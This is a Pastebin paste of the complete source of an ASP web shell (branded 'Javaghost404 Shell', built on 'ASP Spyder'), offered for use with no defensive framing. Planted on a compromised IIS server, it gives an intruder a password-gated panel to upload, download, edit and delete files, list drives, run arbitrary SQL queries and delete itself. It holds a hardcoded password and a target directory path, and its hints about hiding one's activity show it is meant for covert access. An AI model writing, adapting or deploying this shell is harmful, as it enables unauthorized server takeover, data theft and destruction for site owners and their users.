Advertisement
V-CyberLittle

Script Shell Buat Web .ASP

Jul 11th, 2014
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.62 KB | None | 0 0
  1. <%
  2. Function BufferContent(data)
  3. Dim strContent(64)
  4. Dim i
  5. ClearString strContent
  6. For i = 1 To LenB(data)
  7. AddString strContent,Chr(AscB(MidB(data,i,1)))
  8. Next
  9. BufferContent = fnReadString(strContent)
  10. End Function
  11.  
  12. Sub ClearString(part)
  13. Dim index
  14. For index = 0 to 64
  15. part(index)=""
  16. Next
  17. End Sub
  18.  
  19. Sub AddString(part,newString)
  20. Dim tmp
  21. Dim index
  22. part(0) = part(0) & newString
  23. If Len(part(0)) > 64 Then
  24. index=0
  25. tmp=""
  26. Do
  27. tmp=part(index) & tmp
  28. part(index) = ""
  29. index = index + 1
  30. Loop until part(index) = ""
  31. part(index) = tmp
  32. End If
  33. End Sub
  34.  
  35. Function fnReadString(part)
  36. Dim tmp
  37. Dim index
  38. tmp = ""
  39. For index = 0 to 64
  40. If part(index) <> "" Then
  41. tmp = part(index) & tmp
  42. End If
  43. Next
  44. FnReadString = tmp
  45. End Function
  46.  
  47.  
  48. Class FileUploader
  49. Public Files
  50. Private mcolFormElem
  51. Private Sub Class_Initialize()
  52. Set Files = Server.CreateObject("Scripting.Dictionary")
  53. Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
  54. End Sub
  55.  
  56. Private Sub Class_Terminate()
  57. If IsObject(Files) Then
  58. Files.RemoveAll()
  59. Set Files = Nothing
  60. End If
  61. If IsObject(mcolFormElem) Then
  62. mcolFormElem.RemoveAll()
  63. Set mcolFormElem = Nothing
  64. End If
  65. End Sub
  66.  
  67. Public Property Get Form(sIndex)
  68. Form = ""
  69. If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
  70. End Property
  71.  
  72. Public Default Sub Upload()
  73. Dim biData, sInputName
  74. Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
  75. Dim nPosFile, nPosBound
  76. biData = Request.BinaryRead(Request.TotalBytes)
  77. nPosBegin = 1
  78. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  79. If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
  80. vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  81. nDataBoundPos = InstrB(1, biData, vDataBounds)
  82. Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
  83. nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
  84. nPos = InstrB(nPos, biData, CByteString("name="))
  85. nPosBegin = nPos + 6
  86. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  87. sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  88. nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
  89. nPosBound = InstrB(nPosEnd, biData, vDataBounds)
  90. If nPosFile <> 0 And nPosFile < nPosBound Then
  91. Dim oUploadFile, sFileName
  92. Set oUploadFile = New UploadedFile
  93. nPosBegin = nPosFile + 10
  94. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
  95. sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  96. oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
  97. nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
  98. nPosBegin = nPos + 14
  99. nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
  100. oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  101. nPosBegin = nPosEnd+4
  102. nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  103. oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
  104. If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
  105. Else
  106. nPos = InstrB(nPos, biData, CByteString(Chr(13)))
  107. nPosBegin = nPos + 4
  108. nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
  109. If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
  110. End If
  111. nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
  112. Loop
  113. End Sub
  114.  
  115. 'String to byte string conversion
  116. Private Function CByteString(sString)
  117. Dim nIndex
  118. For nIndex = 1 to Len(sString)
  119. CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
  120. Next
  121. End Function
  122.  
  123. 'Byte string to string conversion
  124. Private Function CWideString(bsString)
  125. Dim nIndex
  126. CWideString =""
  127. For nIndex = 1 to LenB(bsString)
  128. CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
  129. Next
  130. End Function
  131. End Class
  132.  
  133.  
  134. Class UploadedFile
  135. Public ContentType
  136. Public FileName
  137. Public FileData
  138. Public Property Get FileSize()
  139. FileSize = LenB(FileData)
  140. End Property
  141.  
  142. Public Sub SaveToDisk(sPath)
  143. Dim oFS, oFile
  144. Dim nIndex
  145. If sPath = "" Or FileName = "" Then Exit Sub
  146. If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
  147. Set oFS = Server.CreateObject("Scripting.FileSystemObject")
  148. If Not oFS.FolderExists(sPath) Then Exit Sub
  149. Set oFile = oFS.CreateTextFile(sPath & FileName, True)
  150. ' output mechanism modified for buffering
  151. oFile.Write BufferContent(FileData)
  152. oFile.Close
  153. End Sub
  154.  
  155. Public Sub SaveToDatabase(ByRef oField)
  156. If LenB(FileData) = 0 Then Exit Sub
  157. If IsObject(oField) Then
  158. oField.AppendChunk FileData
  159. End If
  160. End Sub
  161. End Class
  162.  
  163. ' Create the FileUploader
  164. IF REQUEST.QueryString("upload")="@" THEN
  165. Dim Uploader, File
  166. Set Uploader = New FileUploader
  167.  
  168. ' This starts the upload process
  169. Uploader.Upload()
  170.  
  171. %>
  172. <html><title>Javaghost404 Shell asp</title>
  173. <style>
  174. <!--
  175. A:link {font-style: text-decoration: none; color: #c8c8c8}
  176. A:visited {font-style: text-decoration: none; color: #777777}
  177. A:active {font-style: text-decoration: none; color: #ff8300}
  178. A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
  179. * {scrollbar-base-color:#777777;
  180. scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
  181. scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
  182. input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
  183. //-->
  184. </style>
  185. <body bgcolor=black text=white>
  186. <BR><BR><BR>
  187. <center><table bgcolor="#505050" cellpadding=4>
  188. <tr><td><Font face=arial size=-1>File upload Information:</font>
  189. </td></tr><tr><td bgcolor=black ><table>
  190. <%
  191.  
  192. ' Check if any files were uploaded/ Periksa Apakah File Telah Diunggah
  193. If Uploader.Files.Count = 0 Then
  194. Response.Write "File(s) not uploaded."
  195. Else
  196. ' Loop through the uploaded files
  197. For Each File In Uploader.Files.Items
  198. File.SaveToDisk Request.QueryString("txtpath")
  199. Response.Write "<TR><TD>&nbsp;</TD></TR><tr><td><font color=gray>File Uploaded: </font></td><td>" & File.FileName & "</td></tr>"
  200. Response.Write "<tr><td><font color=gray>Size: </font></td><td>" & Int(File.FileSize/1024)+1 & " kb</td></tr>"
  201. Response.Write "<tr><td><font color=gray>Type: </font></td><td>" & File.ContentType & "</td></tr>"
  202. Next
  203. End If
  204. %>
  205. <TR><TD>&nbsp;</TD></TR></table>
  206. </td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=Request.QueryString("txtpath")%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
  207. <%
  208. response.End() '---- XXX
  209. END IF
  210. '--------
  211. ON ERROR RESUME NEXT
  212. Response.Buffer = True
  213. password = "azhan123" ' <---Your password here
  214.  
  215. If request.querystring("logoff")="@" then
  216. session("shagman")="" ' Logged off
  217. session("dbcon")="" ' Database Connection
  218. session("txtpath")="" ' any pathinfo
  219. end if
  220.  
  221. If (session("shagman")<>password) and Request.form("code")="" Then
  222. %>
  223. <body bgcolor=black><center><BR><BR><BR><BR><FONT face=arial size=-4 color=#ff8300>LOGIN To Your Shell</FONT><BR><BR><BR>
  224. <table><tr><td>
  225. <FORM method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" >
  226. <table bgcolor=#505050 width="20%" cellpadding=20 ><tr><td bgcolor=#303030 align=center >
  227. <INPUT type=password name=code ></td><td><INPUT name=submit type=submit value=" Login ">
  228. </td></tr></table>
  229. </td></tr><tr><td align=right>
  230. <font color=white size=-2 face=arial >Javaghost404 Shell Juny2014</font></td></tr>
  231. </td></tr></table></FORM>
  232. <%If request.querystring("logoff")="@" then%>
  233. <font color=gray size=-2 face=arial title="To avoid anyone from seeing what you were doing by using the browser back button."><span style='cursor: hand;' OnClick=window.close(this);>CLOSE THIS WINDOW/Tutup Windows Ini</font>
  234. <%end if%>
  235. <center>
  236. <%
  237. Response.END
  238. End If
  239. If Request.form("code") = password or session("shagman") = password Then
  240. session("shagman") = password
  241. Else
  242. Response.Write "<BR><B><P align=center><font color=red ><b>INVALID PASSWORD</B></font><BR><font color=Gray >Copyright 2014 javaghost404 shell</font></p>"
  243. Response.END
  244. End If
  245.  
  246. server.scriptTimeout=180
  247. set fso = Server.CreateObject("Scripting.FileSystemObject")
  248. mapPath = Server.mappath(Request.Servervariables("SCRIPT_NAME"))
  249. mapPathLen = len(mapPath)
  250.  
  251. if session(myScriptName) = "" then
  252. for x = mapPathLen to 0 step -1
  253. myScriptName = mid(mapPath,x)
  254. if instr(1,myScriptName,"\")>0 then
  255. myScriptName = mid(mapPath,x+1)
  256. x=0
  257. session(myScriptName) = myScriptName
  258. end if
  259. next
  260. Else
  261. myScriptName = session(myScriptName)
  262. end if
  263.  
  264.  
  265. wwwRoot = left(mapPath, mapPathLen - len(myScriptName))
  266. Target = "D:\hshome\masterhr\masterhr.com\" ' ---Directory to which files will be DUMPED Too and From
  267.  
  268. if len(Request.querystring("txtpath"))=3 then
  269. pathname = left(Request.querystring("txtpath"),2) & "\" & Request.form("Fname")
  270. else
  271. pathname = Request.querystring("txtpath") & "\" & Request.form("Fname")
  272. end if
  273.  
  274. If Request.Form("txtpath") = "" Then
  275. MyPath = Request.QueryString("txtpath")
  276. Else
  277. MyPath = Request.Form("txtpath")
  278. End If
  279.  
  280. ' ---Path correction routine
  281. If len(MyPath)=1 then MyPath=MyPath & ":\"
  282. If len(MyPath)=2 then MyPath=MyPath & "\"
  283. If MyPath = "" Then MyPath = wwwRoot
  284. If not fso.FolderExists(MyPath) then
  285. Response.Write "<font face=arial size=+2>Non-existing path specified.<BR>Please use browser back button to continue !"
  286. Response.end
  287. end if
  288.  
  289. set folder = fso.GetFolder(MyPath)
  290.  
  291. if fso.GetFolder(Target) = false then
  292. Response.Write "<font face=arial size=-2 color=red>Please create your target directory for copying files as it does not exist. </font><font face=arial size=-2 color=green>" & Target & "<BR></font>"
  293. else
  294. set fileCopy = fso.GetFolder(Target)
  295. end if
  296.  
  297.  
  298. If Not(folder.IsRootFolder) Then
  299. If len(folder.ParentFolder)>3 then
  300. showPath = folder.ParentFolder & "\" & folder.name
  301. Else
  302. showPath = folder.ParentFolder & folder.name
  303. End If
  304. Else
  305. showPath = left(MyPath,2)
  306. End If
  307.  
  308. MyPath=showPath
  309. showPath=MyPath & "\"
  310. ' ---Path correction routine-DONE
  311.  
  312. set drv=fso.GetDrive(left(MyPath,2))
  313.  
  314. if Request.Form("cmd")="Download" then
  315. if Request.Form("Fname")<>"" then
  316. Response.Buffer = True
  317. Response.Clear
  318. strFileName = Request.QueryString("txtpath") & "\" & Request.Form("Fname")
  319. Set Sys = Server.CreateObject( "Scripting.FileSystemObject" )
  320. Set Bin = Sys.OpenTextFile( strFileName, 1, False )
  321. Call Response.AddHeader( "Content-Disposition", "attachment; filename=" & Request.Form("Fname") )
  322. Response.ContentType = "application/octet-stream"
  323. While Not Bin.AtEndOfStream
  324. Response.BinaryWrite( ChrB( Asc( Bin.Read( 1 ) ) ) )
  325. Wend
  326. Bin.Close : Set Bin = Nothing
  327. Set Sys = Nothing
  328. Else
  329. err.number=500
  330. err.description="Nothing selected for download.../ Tidak Ada File Yang Dipilih Untuk Di Download"
  331. End if
  332. End if
  333. %>
  334. <html>
  335. <style>
  336. <!--
  337. A:link {font-style: text-decoration: none; color: #c8c8c8}
  338. A:visited {font-style: text-decoration: none; color: #777777}
  339. A:active {font-style: text-decoration: none; color: #ff8300}
  340. A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
  341. * {scrollbar-base-color:#777777;
  342. scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-face-color:#505050;
  343. scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-highlight-color:#303030;}
  344. input,select,table {font-family:verdana,arial;font-size:11px;text-decoration:none;border:1px solid #000000;}
  345. //-->
  346. </style>
  347. <%
  348. 'QUERY ANALYSER -- START
  349. if request.QueryString("qa")="@" then
  350. '-------------
  351. sub getTable(mySQL)
  352. if mySQL="" then
  353. exit sub
  354. end if
  355. on error resume next
  356. Response.Buffer = True
  357. Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
  358. myConnectionString=session("dbCon")
  359. Set myDBConnection = Server.CreateObject("ADODB.Connection")
  360. myDBConnection.Open myConnectionString
  361. myFlag = False
  362. myFlag = errChk()
  363. set rs = Server.CreateObject("ADODB.Recordset")
  364. rs.cursorlocation = 3
  365. rs.open mySQL, myDBConnection
  366. myFlag = errChk()
  367.  
  368. if RS.properties("Asynchronous Rowset Processing") = 16 then
  369. For i = 0 To rs.Fields.Count - 1
  370. myFields = myFields & "<TD><font color=#eeeeee size=2 face=""Verdana, Arial, Helvetica, sans-serif"">" & rs.Fields(i).Name & "</font></TD>"
  371. Next
  372. myTitle = "<font color=gray size=6 face=webdings>?</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(" & rs.RecordCount & " row(s) affected)</TT><br>"
  373. rs.MoveFirst
  374. rs.PageSize=mNR
  375. if int(rs.RecordCount/mNR) < mPage then mPage=1
  376. rs.AbsolutePage = mPage
  377. Response.Write myTitle & "</td><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"
  378. if mPage=1 Then Response.Write("<input type=button name=btnPagePrev value="" << "" DISABLED>") else Response.Write("<input type=button name=btnPagePrev value="" << "">")
  379. Response.Write "<select name=cmbPageSelect>"
  380. For x = 1 to rs.PageCount
  381. if x=mPage Then Response.Write("<option value=" & x & " SELECTED>" & x & "</option>") else Response.Write("<option value=" & x & ">" & x & "</option>")
  382. Next
  383. Response.Write "</select><input type=hidden name=mPage value=" & mPage & ">"
  384. if mPage = rs.PageCount Then Response.Write("<input type=button name=btnPageNext value="" >> "" DISABLED>") else Response.Write("<input type=button name=btnPageNext value="" >> "">")
  385. Response.Write "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray>Displaying <input type=text size=" & Len(mNR) & " name=txtNoRecords value=" & mNR & "> records at a time.</font>"
  386. response.Write "</td><TABLE border=0 bgcolor=#999999 cellpadding=2><TR align=center valign=middle bgcolor=#777777>" & myFields
  387.  
  388. For x = 1 to rs.PageSize
  389. If Not rs.EOF Then
  390. response.Write "<TR>"
  391. For i = 0 to rs.Fields.Count - 1
  392. response.Write "<TD bgcolor=#dddddd>" & server.HTMLEncode(rs(i)) & "</TD>"
  393. Next
  394. response.Write "</TR>"
  395. response.Flush()
  396. rs.MoveNext
  397. Else
  398. x=rs.PageSize
  399. End If
  400. Next
  401. response.Write "</Table>"
  402. myFlag = errChk()
  403.  
  404. else
  405. if not myFlag then
  406. myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
  407. response.Write myTitle
  408. end if
  409. end if
  410. set myDBConnection = nothing
  411. set rs2 = nothing
  412. set rs = nothing
  413.  
  414. End sub
  415.  
  416. sub getXML(mySQL)
  417. if mySQL="" then
  418. exit sub
  419. end if
  420. on error resume next
  421. Response.Buffer = True
  422. Dim myDBConnection, rs, myHtml,myConnectionString, myFields,myTitle,myFlag
  423. myConnectionString=session("dbCon")
  424. Set myDBConnection = Server.CreateObject("ADODB.Connection")
  425. myDBConnection.Open myConnectionString
  426. myFlag = False
  427. myFlag = errChk()
  428. set rs = Server.CreateObject("ADODB.Recordset")
  429. rs.cursorlocation = 3
  430. rs.open mySQL, myDBConnection
  431. myFlag = errChk()
  432. if RS.properties("Asynchronous Rowset Processing") = 16 then
  433. Response.Write "<font color=#55ff55 size=4 face=webdings>i</font><font color=#cccccc> Copy paste this code and save as '.xml '</font></td></tr><tr><td>"
  434. Response.Write "<textarea cols=75 name=txtXML rows=15>"
  435. rs.MoveFirst
  436. response.Write vbcrlf & "<?xml version=""1.0"" ?>"
  437. response.Write vbcrlf & "<TableXML>"
  438. Do While Not rs.EOF
  439. response.Write vbcrlf & "<Column>"
  440. For i = 0 to rs.Fields.Count - 1
  441. response.Write vbcrlf & "<" & rs.Fields(i).Name & ">" & rs(i) & "</" & rs.Fields(i).Name & ">" & vbcrlf
  442. response.Flush()
  443. Next
  444. response.Write "</Column>"
  445. rs.MoveNext
  446. Loop
  447. response.Write "</TableXML>"
  448. response.Write "</textarea>"
  449. myFlag = errChk()
  450.  
  451. else
  452. if not myFlag then
  453. myTitle = "<font color=#55ff55 size=6 face=webdings>i</font><font color=#ff8300 size=2 face=""Verdana, Arial, Helvetica, sans-serif"">Query results :</font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=gray><TT>(The command(s) completed successfully.)</TT><br>"
  454. response.Write myTitle
  455. end if
  456. end if
  457. End sub
  458.  
  459. Function errChk()
  460. if err.Number <> 0 and err.Number <> 13 then
  461. dim myText
  462. myText = "<font color=#ff8300 size=4 face=webdings>x</font><font color=red size=2 face=""Verdana, Arial, Helvetica, sans-serif""> " & err.Description & "</font><BR>"
  463. response.Write myText
  464. err.Number = 0
  465. errChk = True
  466. end if
  467. end Function
  468.  
  469. Dim myQuery,mPage,mNR
  470. myQuery = request.Form("txtSQL")
  471. if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon")
  472. if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath")
  473. mPage=cint(request.Form("mPage"))
  474. if mPage<1 then mPage=1
  475. mNR=cint(request.Form("txtNoRecords"))
  476. if mNR<1 then mNR=30
  477. %>
  478. <html><title>Team_CC Shell Juny2014</title>
  479. <script language="VbScript">
  480. sub cmdSubmit_onclick
  481. if Document.frmSQL.txtSQL.value = "" then
  482. Document.frmSQL.txtSQL.value = "SELECT * FROM " & vbcrlf & "WHERE " & vbcrlf & "ORDER BY "
  483. exit sub
  484. end if
  485. Document.frmSQL.Submit
  486. end sub
  487. sub cmdTables_onclick
  488. Document.frmSQL.txtSQL.value = "select name as 'TablesListed' from sysobjects where xtype='U' order by name"
  489. Document.frmSQL.Submit
  490. end sub
  491. sub cmdColumns_onclick
  492. strTable =InputBox("Return Columns for which Table?","Table Name...")
  493. strTable = Trim(strTable)
  494. if len(strTable) > 0 Then
  495. SQL = "select name As 'ColumnName',xusertype As 'DataType',length as Length from syscolumns where id=(select id from sysobjects where xtype='U' and name='" & strTable & "') order by name"
  496. Document.frmSQL.txtSQL.value = SQL
  497. Document.frmSQL.Submit
  498. End if
  499. end sub
  500. sub cmdClear_onclick
  501. Document.frmSQL.txtSQL.value = ""
  502. end sub
  503. sub cmdBack_onclick
  504. Document.Location = "<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=session("txtpath")%>"
  505. end sub
  506. Sub btnPagePrev_OnClick
  507. Document.frmSQL.mPage.value = Document.frmSQL.mPage.value - 1
  508. Document.frmSQL.Submit
  509. end sub
  510. Sub btnPageNext_OnClick
  511. Document.frmSQL.mPage.value = Document.frmSQL.mPage.value + 1
  512. Document.frmSQL.Submit
  513. end sub
  514. Sub cmbPageSelect_onchange
  515. Document.frmSQL.mPage.value = (Document.frmSQL.cmbPageSelect.selectedIndex + 1)
  516. Document.frmSQL.Submit
  517. End Sub
  518. Sub txtNoRecords_onclick
  519. Document.frmSQL.cmbPageSelect.selectedIndex = 0
  520. Document.frmSQL.mPage.value = 1
  521. End Sub
  522. </script>
  523. <style>
  524. TR {font-family: sans-serif;}
  525. </style>
  526. <body bgcolor=black>
  527. <form name=frmSQL action="<%=Request.Servervariables("SCRIPT_NAME")%>?qa=@" method=Post>
  528. <table border="0"><tr>
  529. <td align=right><font color=#ff8300 size="4" face="webdings">@ </font><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">Paste
  530. your connection string here : </font><font color="#CCCCCC">
  531. <input name=txtCon type="text" size="60" value="<%=session("dbcon")%>">
  532. </font><BR>
  533. <textarea cols=75 name=txtSQL rows=4 wrap=PHYSICAL><%=myQuery%></textarea><BR>
  534. <input name=cmdSubmit type=button value=Submit><input name=cmdTables type=button value=Tables><input name=cmdColumns type=button value=Columns><input name="reset" type=reset value=Reset><input name=cmdClear type=button value=Clear><input name=cmdBack type=button value="Return"><input type="Checkbox" name="chkXML" <%IF Request.Form("chkXML")= "on" tHEN Response.Write " checked " %>><font color="#CCCCCC" size="1" face="Verdana, Arial, Helvetica, sans-serif">GenerateXML</FONT>
  535. </td>
  536. <td>XXXXXX</td><td>
  537. <center><B>ASP</b><font color=#ff8300 face=webdings size=6 >!</font><B><font color=Gray >Spyder</font> Apr2003</B><BR><font color=black size=-2><TT>by ~sir_shagalot</TT></font></center>
  538. </td></tr></table>
  539. <table><tr><td><%If Request.Form("chkXML") = "on" Then getXML(myQuery) Else getTable(myQuery) %></td></tr></table></form>
  540. <HR><P align=right><font color=#ff8300><TT>Copyright 2003 Vela iNC.</B></font><BR><font size=-1 color=gray>Cheers to <a href="mailto:hAshish@shagzzz.cjb.net">hAshish</a> for all the help!</font></p><BR>
  541. </body>
  542. </html>
  543. <%
  544. set myDBConnection = nothing
  545. set rs2 = nothing
  546. set rs = nothing
  547. '-------------
  548. response.End()
  549. end if
  550. 'QUERY ANALYSER -- STOP
  551. %>
  552. <title><%=MyPath%></title>
  553. </head>
  554. <body bgcolor=black text=white topAprgin="0">
  555. <!-- Copyright Vela iNC. Apr2003 [www.shagzzz.cjb.net] Coded by ~sir_shagalot -->
  556. <%
  557. Response.Flush
  558. 'Code Optimisation START
  559. select case request.form("cmd")
  560. case ""
  561. If request.form("dirStuff")<>"" then
  562. Response.write "<font face=arial size=-2>You need to click [Create] or [Delete] for folder operations to be</font>"
  563. Else
  564. Response.Write "<font face=webdings size=+3 color=#ff8300>&#1570;</font>"
  565. End If
  566. case " Copy "
  567. ' ---Copy From Folder routine Start
  568. If Request.Form("Fname")="" then
  569. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\???</font><BR>"
  570. err.number=424
  571. Else
  572. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "</font><BR>"
  573. fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname")
  574. Response.Flush
  575. End If
  576. ' ---Copy From Folder routine Stop
  577. case " Copy "
  578. ' ---Copy Too Folder routine Start
  579. If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then
  580. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "</font><BR>"
  581. Response.Flush
  582. fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy")
  583. Else
  584. Response.Write "<font face=arial size=-2 color=#ff8300>Copying: " & Request.Form("txtpath") & "\???</font><BR>"
  585. err.number=424
  586. End If
  587. ' ---Copy Too Folder routine Stop
  588. case "Delete" 'two of this
  589. if request.form("todelete")<>"" then
  590. ' ---File Delete start
  591. If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then
  592. Response.Write "<center><font face=arial size=-2 color=#ff8300><BR><BR><HR>SELFDESTRUCT INITIATED...<BR>"
  593. Response.Flush
  594. fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
  595. %>+++FINISH+++</font><BR><HR>
  596. <font color=gray size=-2 face=arial title="To avoid anyone from seeing what you were doing by using the browser back button."><span style='cursor: hand;' OnClick=window.close(this);>CLOSE THIS WINDOW</font>
  597. <%Response.End
  598. End If
  599. If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then
  600. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "</font><BR>"
  601. Response.Flush
  602. fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
  603. Else
  604. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting: " & Request.Form("txtpath") & "\???</font><BR>"
  605. err.number=424
  606. End If
  607. ' ---File Delete stop
  608. Else If request.form("dirStuff")<>"" then
  609. Response.Write "<font face=arial size=-2 color=#ff8300>Deleting folder...</font><BR>"
  610. fso.DeleteFolder MyPath & "\" & request.form("DirName")
  611. end if
  612. End If
  613.  
  614. case "Edit/Create"
  615. %>
  616. <center><BR><table bgcolor="#505050" cellpadding="8"><tr>
  617. <td bgcolor="#000000" valign="bottom">
  618. <Font face=arial SIZE=-2 color=#ff8300>NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate.</font>
  619. </td></tr><tr><td><TT>Path=> <%=pathname%><BR><BR>
  620. <%
  621. ' fetch file information
  622. Set f = fso.GetFile(pathname)
  623. %>
  624. file Type: <%=f.Type%><BR>
  625. file Size: <%=FormatNumber(f.size,0)%> bytes<BR>
  626. file Created: <%=FormatDateTime(f.datecreated,1)%>&nbsp;<%=FormatDateTime(f.datecreated,3)%><BR>
  627. last Modified: <%=FormatDateTime(f.datelastmodified,1)%>&nbsp;<%=FormatDateTime(f.datelastmodified,3)%><BR>
  628. last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%>&nbsp;<%=FormatDateTime(f.datelastaccessed,3)%><BR>
  629. file Attributes: <%=f.attributes%><BR>
  630. <%
  631. Set f = Nothing
  632. response.write "<center><FORM action=""" & Request.Servervariables("SCRIPT_NAME") & "?txtpath=" & MyPath & """ METHOD=""POST"">"
  633. 'read the file
  634. Set f = fso.OpenTextFile(pathname)
  635. If NOT f.AtEndOfStream Then fstr = f.readall
  636. f.Close
  637. Set f = Nothing
  638. Set fso = Nothing
  639. response.write "<TABLE><TR><TD>" & VBCRLF
  640. response.write "<FONT TITLE=""Use this text area to view or change the contents of this document. Click [Save As] to store the updated contents to the web server."" FACE=arial SIZE=1 ><B>DOCUMENT CONTENTS</B></FONT><BR>" & VBCRLF
  641. response.write "<TEXTAREA NAME=FILEDATA ROWS=16 COLS=85 WRAP=OFF>" & Server.HTMLEncode(fstr) & "</TEXTAREA>" & VBCRLF
  642. response.write "</TD></TR></TABLE>" & VBCRLF
  643. %>
  644. <BR><center><TT>LOCATION <INPUT TYPE="TEXT" SIZE=48 MAXLENGTH=255 NAME="PATHNAME" VALUE="<%=pathname%>">
  645. <INPUT TYPE="SUBMIT" NAME=cmd VALUE="Save As" TITLE="This write to the file specifed and overwrite it without warning.">
  646. <INPUT TYPE="SUBMIT" NAME="POSTACTION" VALUE="Cancel" TITLE="If you recieve an error while saving, then most likely you do not have write access OR the file attributes are set to readonly !!">
  647. </FORM></td></tr></table><BR>
  648. <%
  649. response.end
  650.  
  651. case "Create"
  652. Response.Write "<font face=arial size=-2 color=#ff8300>Creating folder...</font><BR>"
  653. fso.CreateFolder MyPath & "\" & request.form("DirName")
  654.  
  655. case "Save As"
  656. Response.Write "<font face=arial size=-2 color=#ff8300>Saving file...</font><BR>"
  657. Set f = fso.CreateTextFile(Request.Form("pathname"))
  658. f.write Request.Form("FILEDATA")
  659. f.close
  660. end select
  661. 'Code Optimisation STOP
  662. ' ---DRIVES start here
  663. If request.querystring("getDRVs")="@" then
  664. %>
  665. <BR><BR><BR><center><table bgcolor="#505050" cellpadding=4>
  666. <tr><td><Font face=arial size=-1>Available Drive Information:</font>
  667. </td></tr><tr><td bgcolor=black >
  668. <table><tr><td><tt>Drive</td><td><tt>Type</td><td><tt>Path</td><td><tt>ShareName</td><td><tt>Size[MB]</td><td><tt>ReadyToUse</td><td><tt>VolumeLabel</td><td></tr>
  669. <%For Each thingy in fso.Drives%>
  670. <tr><td><tt>
  671. <%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thingy.Path%> </td><td><tt> <%=thingy.ShareName%> </td><td><tt> <%=((thingy.TotalSize)/1024000)%> </td><td><tt> <%=thingy.IsReady%> </td><td><tt> <%=thingy.VolumeName%>
  672. <%Next%>
  673. </td></tr></table>
  674. </td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?txtpath=<%=MyPath%>"><font face="webdings" title=" BACK " size=+2 >7</font></a></center>
